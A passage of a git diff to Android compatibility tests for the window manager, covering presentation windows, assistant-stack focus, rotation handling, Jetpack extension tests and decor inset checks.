+                            if (DataSharingServiceTest.sKillingStage
+                                    == DataSharingServiceTest.KillingStage.DURING_WRITE) {
+                                Process.killProcess(Process.myPid());
+                                return;
+                            }
+                            mSessionSucceeded = true;
+                        } catch (IOException e) {
+                        }
+
+                        mSessionFinished = true;
+                    }
+
+                    @Override
+                    public void onRejected() {
+                        mSessionRejected = true;
+                        mSessionSucceeded = false;
+                        mSessionFinished = true;
+                    }
+
+                    @Override
+                    public void onError(int errorCode) {
+                        mSessionErrorCode = errorCode;
+                        mSessionSucceeded = false;
+                        mSessionFinished = true;
+                    }
+                });
+    }
+
+    public class LocalBinder extends Binder {
+        OutOfProcessDataSharingService getService() {
+            return OutOfProcessDataSharingService.this;
+        }
+    }
+
+}
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index fe642c3..5f60ea4 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -307,6 +307,8 @@
         <activity android:name="android.server.wm.CloseOnOutsideTestActivity" />
         <activity android:name="android.server.wm.DialogFrameTestActivity" />
         <activity android:name="android.server.wm.DisplayCutoutTests$TestActivity"
+                  android:configChanges="orientation|screenSize"
+                  android:screenOrientation="nosensor"
                   android:turnScreenOn="true"
                   android:showWhenLocked="true"/>
 
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 981f59f..e17658a 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -591,6 +591,7 @@
             android:exported="true" />
         <activity
             android:name=".PresentationActivity"
+            android:launchMode="singleTop"
             android:exported="true" />
     </application>
 </manifest>
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index f1423f0..d3b5621 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -299,6 +299,7 @@
 
     /** Extra key constants for {@link android.server.wm.app.LandscapeOrientationActivity}. */
     public static class LandscapeOrientationActivity {
+        public static final String EXTRA_APP_CONFIG_INFO = "app_config_info";
         public static final String EXTRA_CONFIG_INFO_IN_ON_CREATE = "config_info_in_on_create";
         public static final String EXTRA_DISPLAY_REAL_SIZE = "display_real_size";
     }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
index 00984fa..dd1ad87 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
@@ -16,11 +16,14 @@
 
 package android.server.wm.app;
 
+import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
 
+import android.app.Application;
 import android.content.res.Configuration;
 import android.graphics.Point;
+import android.hardware.display.DisplayManager;
 import android.os.Bundle;
 import android.server.wm.CommandSession.ConfigInfo;
 import android.view.Display;
@@ -40,6 +43,13 @@
             display.getRealSize(size);
             extras.putParcelable(EXTRA_CONFIG_INFO_IN_ON_CREATE, new ConfigInfo(this, display));
             extras.putParcelable(EXTRA_DISPLAY_REAL_SIZE, size);
+
+            final Application app = getApplication();
+            extras.putParcelable(EXTRA_APP_CONFIG_INFO, new ConfigInfo(app,
+                    // The display object is associated with application resources that it has its
+                    // own display adjustments.
+                    app.getSystemService(DisplayManager.class)
+                            .getDisplay(Display.DEFAULT_DISPLAY)));
             client.putExtras(extras);
         });
     }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
index 3adf5d7..fd44271 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
@@ -26,7 +26,6 @@
     public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
             Configuration newConfig) {
         super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
-        AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this,
-            getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+        AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this, false);
     }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PresentationActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PresentationActivity.java
index fc5490e..cdbae07 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PresentationActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PresentationActivity.java
@@ -18,6 +18,7 @@
 
 import android.app.Activity;
 import android.app.Presentation;
+import android.content.Intent;
 import android.graphics.Color;
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
@@ -30,31 +31,39 @@
 public class PresentationActivity extends Activity {
 
     private static final String TAG = PresentationActivity.class.getSimpleName();
+    private Presentation mPresentation;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+        createPresentationWindow(getIntent());
+    }
 
-        int displayId = getIntent().getExtras().getInt(
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        createPresentationWindow(intent);
+    }
+
+    private void createPresentationWindow(Intent intent) {
+        int displayId = intent.getExtras().getInt(
                 Components.PresentationActivity.KEY_DISPLAY_ID);
 
         Display presentationDisplay =
                 getSystemService(DisplayManager.class).getDisplay(displayId);
 
-        createPresentationWindow(presentationDisplay);
-    }
-
-    private void createPresentationWindow(Display display) {
         final TextView view = new TextView(this);
         view.setText("I'm a presentation");
         view.setGravity(Gravity.CENTER);
         view.setBackgroundColor(Color.RED);
-
-        final Presentation presentation = new Presentation(this, display);
-        presentation.setContentView(view);
-        presentation.setTitle(getPackageName());
+        if (mPresentation != null) {
+            mPresentation.dismiss();
+        }
+        mPresentation = new Presentation(this, presentationDisplay);
+        mPresentation.setContentView(view);
+        mPresentation.setTitle(getPackageName());
         try {
-            presentation.show();
+            mPresentation.show();
         } catch (WindowManager.InvalidDisplayException e) {
             Log.w(TAG, "Presentation blocked", e);
         }
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 8bff8c4..3cc589a 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -65,6 +65,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 
 import java.util.List;
@@ -267,6 +268,7 @@
 
     @Test
     @FlakyTest(bugId = 130800326)
+    @Ignore  // TODO(b/145981637): Make this test work
     public void testActivityBlockedWhenForegroundActivityRestartsItself() throws Exception {
         // Start AppA foreground activity
         Intent intent = new Intent();
diff --git a/tests/framework/base/windowmanager/jetpack/Android.bp b/tests/framework/base/windowmanager/jetpack/Android.bp
index 860f63c..f0cc7cc 100644
--- a/tests/framework/base/windowmanager/jetpack/Android.bp
+++ b/tests/framework/base/windowmanager/jetpack/Android.bp
@@ -13,6 +13,21 @@
 // limitations under the License.
 
 android_library_import {
+    name: "cts_window-extensions_nodeps",
+    aars: ["window-extensions-release.aar"],
+    sdk_version: "current",
+}
+
+java_library {
+    name: "cts_window-extensions",
+    sdk_version: "current",
+    static_libs: [
+        "cts_window-extensions_nodeps",
+    ],
+    installable: false,
+}
+
+android_library_import {
     name: "cts_window-sidecar_nodeps",
     aars: ["window-sidecar-release.aar"],
     sdk_version: "current",
@@ -35,11 +50,12 @@
         "androidx.test.ext.junit",
         "androidx.test.rules",
         "compatibility-device-util-axt",
+        "cts-wm-util",
         "platform-test-annotations",
     ],
     libs: [
-        "androidx.window.extensions",
         "android.test.base.stubs",
+        "cts_window-extensions",
         "cts_window-sidecar",
     ],
     test_suites: [
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
index 7b9bcf6..0686443 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
@@ -16,6 +16,8 @@
 
 package android.server.wm.jetpack;
 
+import static android.server.wm.jetpack.ExtensionUtils.assertEqualsState;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assume.assumeFalse;
@@ -58,7 +60,7 @@
 @RunWith(AndroidJUnit4.class)
 public class ExtensionTest extends JetpackExtensionTestBase {
     private ActivityTestRule<TestActivity> mActivityTestRule = new ActivityTestRule<>(
-            TestActivity.class, false /* initialTouchMode */, true /* launchActivity */);
+            TestActivity.class, false /* initialTouchMode */, false /* launchActivity */);
     private ActivityTestRule<TestConfigChangeHandlingActivity> mConfigHandlingActivityTestRule =
             new ActivityTestRule<>(TestConfigChangeHandlingActivity.class,
                     false /* initialTouchMode */, false /* launchActivity */);
@@ -80,8 +82,12 @@
     private IBinder mWindowToken;
 
     @Before
-    public void setUp() {
-        mActivity = mActivityTestRule.getActivity();
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        // Launch activity after the ActivityManagerTestBase clean all package states.
+        mActivity = mActivityTestRule.launchActivity(new Intent());
         ExtensionUtils.assumeSupportedDevice(mActivity);
 
         mExtension = ExtensionUtils.getInterfaceCompat(mActivity);
@@ -164,8 +170,8 @@
         mExtension.onDeviceStateListenersChanged(true /* isEmpty */);
         TestDeviceState deviceState3 = mExtension.getDeviceState();
 
-        assertThat(deviceState1).isEqualTo(deviceState2);
-        assertThat(deviceState1).isEqualTo(deviceState3);
+        assertEqualsState(deviceState1, deviceState2);
+        assertEqualsState(deviceState1, deviceState3);
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionUtils.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionUtils.java
index 82b049e..1aef84e 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionUtils.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionUtils.java
@@ -21,9 +21,11 @@
 import static org.junit.Assume.assumeFalse;
 
 import android.content.Context;
+import android.server.wm.jetpack.wrapper.TestDeviceState;
 import android.server.wm.jetpack.wrapper.extensionwrapperimpl.TestExtensionCompat;
 import android.server.wm.jetpack.wrapper.sidecarwrapperimpl.TestSidecarCompat;
 import android.server.wm.jetpack.wrapper.TestInterfaceCompat;
+import android.server.wm.jetpack.wrapper.sidecarwrapperimpl.TestSidecarDeviceState;
 import android.text.TextUtils;
 import android.util.Log;
 
@@ -53,15 +55,22 @@
         }
     }
 
+    static void assertEqualsState(TestDeviceState left, TestDeviceState right) {
+        if (left instanceof TestSidecarDeviceState && right instanceof TestSidecarDeviceState) {
+            assertThat(left.getPosture()).isEqualTo(right.getPosture());
+        } else {
+            assertThat(left).isEqualTo(right);
+        }
+    }
+
     /**
      * Gets the vendor provided Extension implementation if available. If not available, gets the
      * Sidecar implementation (deprecated). If neither is available, returns {@code null}.
      */
     @Nullable
     static TestInterfaceCompat getInterfaceCompat(Context context) {
-        if (!TextUtils.isEmpty(getExtensionVersion())) {
-            return getExtensionInterfaceCompat(context);
-        } else if (!TextUtils.isEmpty(getSidecarVersion())) {
+        // TODO(b/158876142) Reinstate android.window.extension
+        if (!TextUtils.isEmpty(getSidecarVersion())) {
             return getSidecarInterfaceCompat(context);
         }
         return null;
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/JetpackExtensionTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/JetpackExtensionTestBase.java
index d460241..905e33e 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/JetpackExtensionTestBase.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/JetpackExtensionTestBase.java
@@ -18,9 +18,10 @@
 
 import android.app.Activity;
 import android.os.IBinder;
+import android.server.wm.ActivityManagerTestBase;
 
 /** Base class for all tests in the module. Copied from androidx.window.WindowTestBase. */
-class JetpackExtensionTestBase {
+class JetpackExtensionTestBase extends ActivityManagerTestBase {
     static IBinder getActivityWindowToken(Activity activity) {
         return activity.getWindow().getAttributes().token;
     }
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java
index 63a2a44..76e920a 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java
@@ -24,7 +24,7 @@
 
 /** Extension interface compatibility wrapper for v0.1 sidecar. */
 @SuppressWarnings("deprecation")
-final class TestSidecarDeviceState implements TestDeviceState {
+public final class TestSidecarDeviceState implements TestDeviceState {
 
     @Nullable
     static TestSidecarDeviceState create(@Nullable SidecarDeviceState sidecarDeviceState) {
diff --git a/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
new file mode 100644
index 0000000..0ebbb86
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
Binary files differ
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index c898ef6..859eb29 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -37,6 +37,7 @@
 import static android.server.wm.app.Components.PORTRAIT_ORIENTATION_ACTIVITY;
 import static android.server.wm.app.Components.RESIZEABLE_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
 import static android.server.wm.translucentapp26.Components.SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY;
@@ -63,12 +64,10 @@
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
-import android.provider.Settings;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.ConfigInfo;
 import android.server.wm.CommandSession.SizeInfo;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
-import android.server.wm.settings.SettingsSession;
 import android.view.Display;
 
 import org.junit.Test;
@@ -451,10 +450,9 @@
     public void testRotatedInfoWithFixedRotationTransform() {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
 
-        // TODO(b/143053092): Remove the settings if it becomes stable.
-        mObjectTracker.manage(new SettingsSession<>(
-                Settings.Global.getUriFor("fixed_rotation_transform"),
-                Settings.Global::getInt, Settings.Global::putInt)).set(1);
+        // Start a portrait activity first to ensure that the orientation will change.
+        launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+        mWmState.waitForLastOrientation(SCREEN_ORIENTATION_PORTRAIT);
 
         getLaunchActivityBuilder()
                 .setUseInstrumentation()
@@ -467,6 +465,7 @@
 
         final SizeInfo reportedSizes = getActivityDisplaySize(LANDSCAPE_ORIENTATION_ACTIVITY);
         final Bundle extras = TestJournalContainer.get(LANDSCAPE_ORIENTATION_ACTIVITY).extras;
+        final ConfigInfo appConfigInfo = extras.getParcelable(EXTRA_APP_CONFIG_INFO);
         final Point onCreateRealDisplaySize = extras.getParcelable(EXTRA_DISPLAY_REAL_SIZE);
         final ConfigInfo onCreateConfigInfo = extras.getParcelable(EXTRA_CONFIG_INFO_IN_ON_CREATE);
         final SizeInfo onCreateSize = onCreateConfigInfo.sizeInfo;
@@ -478,13 +477,19 @@
         final Point expectedRealDisplaySize = new Point();
         display.getRealSize(expectedRealDisplaySize);
 
+        final int expectedRotation = display.getRotation();
         assertEquals("The activity should get the final display rotation in onCreate",
-                display.getRotation(), onCreateConfigInfo.rotation);
+                expectedRotation, onCreateConfigInfo.rotation);
+        assertEquals("The application should get the final display rotation in onCreate",
+                expectedRotation, appConfigInfo.rotation);
         assertEquals("The activity should get the final display size in onCreate",
                 expectedRealDisplaySize, onCreateRealDisplaySize);
-        assertEquals("The app size of activity should have the same orientation",
-                expectedRealDisplaySize.x > expectedRealDisplaySize.y,
+
+        final boolean isLandscape = expectedRealDisplaySize.x > expectedRealDisplaySize.y;
+        assertEquals("The app size of activity should have the same orientation", isLandscape,
                 onCreateSize.displayWidth > onCreateSize.displayHeight);
+        assertEquals("The application should get the same orientation", isLandscape,
+                appConfigInfo.sizeInfo.displayWidth > appConfigInfo.sizeInfo.displayHeight);
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index e30e826b..267bec9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -25,7 +25,7 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.ComponentNameUtils.getActivityName;
-import static android.server.wm.UiDeviceUtils.pressBackButton;
+import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.app.Components.ANIMATION_TEST_ACTIVITY;
 import static android.server.wm.app.Components.ASSISTANT_ACTIVITY;
 import static android.server.wm.app.Components.ASSISTANT_VOICE_INTERACTION_SERVICE;
@@ -172,11 +172,22 @@
                     TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, expectedWindowingMode);
         }
 
-        mWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
-        mWmState.assertFrontStack("Fullscreen stack should be on top.",
-                expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFocusedStack("Fullscreen stack should be focused.",
-                expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+        if (isAssistantOnTop()) {
+            // If the assistant is configured to be always-on-top, then the new task should have
+            // been started behind it and the assistant stack should still be on top.
+            mWmState.assertFocusedActivity(
+                    "AssistantActivity should be focused", ASSISTANT_ACTIVITY);
+            mWmState.assertFrontStackActivityType(
+                    "Assistant stack should be on top.", ACTIVITY_TYPE_ASSISTANT);
+            mWmState.assertFocusedStack("Assistant stack should be focused.",
+                    WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+        } else {
+            mWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
+            mWmState.assertFrontStack("Fullscreen stack should be on top.",
+                    expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+            mWmState.assertFocusedStack("Fullscreen stack should be focused.",
+                    expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+        }
 
         // Now, tell it to finish itself and ensure that the assistant stack is brought back forward
         mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
@@ -189,6 +200,13 @@
 
     @Test
     public void testAssistantStackFinishToPreviousApp() throws Exception {
+        // If the Assistant is configured to be always-on-top, then the assistant activity
+        // started in setUp() will not allow any other activities to start. Therefore we should
+        // remove it before launching a fullscreen activity.
+        if (isAssistantOnTop()) {
+            removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+        }
+
         // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
         // the fullscreen activity is still visible and on top after the assistant activity finishes
         launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
@@ -224,7 +242,6 @@
                 WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
     }
 
-    @FlakyTest(bugId = 69573940)
     @Test
     public void testTranslucentAssistantActivityStackVisibility() throws Exception {
         try (final AssistantSession assistantSession = new AssistantSession()) {
@@ -233,7 +250,8 @@
             // Go home, launch the assistant and check to see that home is visible
             removeStacksInWindowingModes(WINDOWING_MODE_FULLSCREEN,
                     WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-            launchHomeActivity();
+            pressHomeButton();
+            resumeAppSwitches();
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                     EXTRA_ASSISTANT_IS_TRANSLUCENT, "true");
             waitForValidStateWithActivityType(
@@ -258,14 +276,17 @@
             // Go home, launch assistant, launch app into fullscreen with activity present, and go
             // back.Ensure home is visible.
             removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
-            launchHomeActivity();
+            pressHomeButton();
+            resumeAppSwitches();
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                     EXTRA_ASSISTANT_IS_TRANSLUCENT, "true",
                     EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY));
             waitForValidStateWithActivityTypeAndWindowingMode(
                     TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, WINDOWING_MODE_FULLSCREEN);
-            mWmState.assertHomeActivityVisible(false);
-            pressBackButton();
+
+            final ComponentName homeActivity = mWmState.getHomeActivityName();
+            mWmState.waitAndAssertVisibilityGone(homeActivity);
+            mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
             mWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
             assertAssistantStackExists();
             mWmState.waitForHomeActivityVisible();
@@ -318,7 +339,7 @@
             launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, mAssistantDisplayId);
             // Wait for animation finished.
             mWmState.waitForActivityState(ANIMATION_TEST_ACTIVITY, STATE_RESUMED);
-            mWmState.assertVisibility(ASSISTANT_ACTIVITY, false);
+            mWmState.assertVisibility(ASSISTANT_ACTIVITY, isAssistantOnTop());
 
             // Launch the assistant again and ensure that it goes into the same task
             launchActivityOnDisplayNoWait(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
index f58152e..850870a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
@@ -160,17 +160,13 @@
                 + " in landscape and reverse-landscape", sameSize);
     }
 
-    private ActivityLifecycleCounts getLifecycleCountsForRotation(ComponentName activityName,
-            RotationSession session, int before, int after, boolean canHandleConfigChange)  {
-        final int currentRotation = mWmState.getRotation();
-        // The test verifies the events from "before" rotation to "after" rotation. So when
-        // preparing "before" rotation, the changes should be consumed to avoid being mixed into
-        // the result to verify.
-        final boolean is90DegreeDelta = Math.abs(currentRotation - before) % 2 != 0;
+    private void prepareRotation(ComponentName activityName, RotationSession session,
+            int currentRotation, int initialRotation, boolean canHandleConfigChange) {
+        final boolean is90DegreeDelta = Math.abs(currentRotation - initialRotation) % 2 != 0;
         if (is90DegreeDelta) {
             separateTestJournal();
         }
-        session.set(before);
+        session.set(initialRotation);
         if (is90DegreeDelta) {
             // Consume the changes of "before" rotation to make sure the activity is in a stable
             // state to apply "after" rotation.
@@ -181,6 +177,15 @@
                     .countWithRetry("activity rotated with 90 degree delta",
                             countSpec(expectedCallback, CountSpec.GREATER_THAN, 0)));
         }
+    }
+
+    private ActivityLifecycleCounts getLifecycleCountsForRotation(ComponentName activityName,
+            RotationSession session, int before, int after, boolean canHandleConfigChange)  {
+        final int currentRotation = mWmState.getRotation();
+        // The test verifies the events from "before" rotation to "after" rotation. So when
+        // preparing "before" rotation, the changes should be consumed to avoid being mixed into
+        // the result to verify.
+        prepareRotation(activityName, session, currentRotation, before, canHandleConfigChange);
         separateTestJournal();
         session.set(after);
         mWmState.computeState(activityName);
@@ -202,13 +207,12 @@
     private void testRotation(ComponentName activityName, int rotationStep, int numRelaunch,
             int numConfigChange) {
         launchActivity(activityName);
-
         mWmState.computeState(activityName);
 
         final int initialRotation = 4 - rotationStep;
         final RotationSession rotationSession = createManagedRotationSession();
-        rotationSession.set(initialRotation);
-        mWmState.computeState(activityName);
+        prepareRotation(activityName, rotationSession, mWmState.getRotation(), initialRotation,
+                numConfigChange > 0);
         final int actualStackId =
                 mWmState.getTaskByActivity(activityName).mRootTaskId;
         final int displayId = mWmState.getRootTask(actualStackId).mDisplayId;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DecorInsetTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DecorInsetTests.java
index 8997f60..964970a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DecorInsetTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DecorInsetTests.java
@@ -46,6 +46,8 @@
 
         assertNotNull("test setup failed", activity.mLastDecorInsets);
         assertNull("unexpected content insets", activity.mLastContentInsets);
+
+        assertContentViewLocationMatchesInsets();
     }
 
     @Test
@@ -60,6 +62,8 @@
         assertNotNull("test setup failed", activity.mLastDecorInsets);
         assertEquals("unexpected bottom inset: ", 0, activity.mLastContentInsets.getInsets(
                 WindowInsets.Type.systemBars()).bottom);
+
+        assertContentViewLocationMatchesInsets();
     }
 
     @Test
@@ -75,20 +79,26 @@
         assertEquals("insets were unexpectedly consumed: ",
                 activity.mLastDecorInsets.getSystemWindowInsets(),
                 activity.mLastContentInsets.getSystemWindowInsets());
+
+        assertContentViewLocationMatchesInsets();
     }
 
     @Test
     public void testDecorView_doesntConsumeNavBar_ifDecorDoesntFitSystemWindows() throws Throwable {
         TestActivity activity = mDecorActivity.launchActivity(new Intent()
-                .putExtra(ARG_LAYOUT_STABLE, true)
+                .putExtra(ARG_LAYOUT_STABLE, false)
                 .putExtra(ARG_LAYOUT_FULLSCREEN, false)
                 .putExtra(ARG_LAYOUT_HIDE_NAV, false)
                 .putExtra(ARG_DECOR_FITS_SYSTEM_WINDOWS, false));
         activity.mLaidOut.await(4, TimeUnit.SECONDS);
 
+        assertEquals(0, activity.getWindow().getDecorView().getWindowSystemUiVisibility());
+
         assertNotNull("test setup failed", activity.mLastDecorInsets);
         assertEquals("insets were unexpectedly consumed: ",
                 activity.mLastDecorInsets.getSystemWindowInsets(),
                 activity.mLastContentInsets.getSystemWindowInsets());
+
+        assertContentViewLocationMatchesInsets();
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DecorInsetTestsBase.java b/tests/framework/base/windowmanager/src/android/server/wm/DecorInsetTestsBase.java
index 10b3d0d..94c5e2b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DecorInsetTestsBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DecorInsetTestsBase.java
@@ -16,8 +16,12 @@
 
 package android.server.wm;
 
+import static org.junit.Assert.assertEquals;
+
 import android.app.Activity;
 import android.content.Intent;
+import android.graphics.Insets;
+import android.graphics.Rect;
 import android.os.Bundle;
 import android.view.View;
 import android.view.ViewTreeObserver;
@@ -90,4 +94,39 @@
             return vis;
         }
     }
+
+    public void assertContentViewLocationMatchesInsets() {
+        TestActivity activity = mDecorActivity.getActivity();
+
+        Insets insetsConsumedByDecor = Insets.subtract(
+                systemWindowInsetsOrZero(activity.mLastDecorInsets),
+                systemWindowInsetsOrZero(activity.mLastContentInsets));
+        Rect expectedContentRect = rectInWindow(activity.getWindow().getDecorView());
+        insetRect(expectedContentRect, insetsConsumedByDecor);
+
+        Rect actualContentRect = rectInWindow(activity.findViewById(android.R.id.content));
+
+        assertEquals("Decor consumed " + insetsConsumedByDecor + ", content rect:",
+                expectedContentRect, actualContentRect);
+    }
+
+    public Insets systemWindowInsetsOrZero(WindowInsets wi) {
+        if (wi == null) {
+            return Insets.NONE;
+        }
+        return wi.getSystemWindowInsets();
+    }
+
+    private Rect rectInWindow(View view) {
+        int[] loc = new int[2];
+        view.getLocationInWindow(loc);
+        return new Rect(loc[0], loc[1], loc[0] + view.getWidth(), loc[1] + view.getHeight());
+    }
+
+    private static void insetRect(Rect rect, Insets insets) {
+        rect.left += insets.left;
+        rect.top += insets.top;
+        rect.right -= insets.right;
+        rect.bottom -= insets.bottom;
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 856b4fa..5b3a250 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -36,10 +36,12 @@
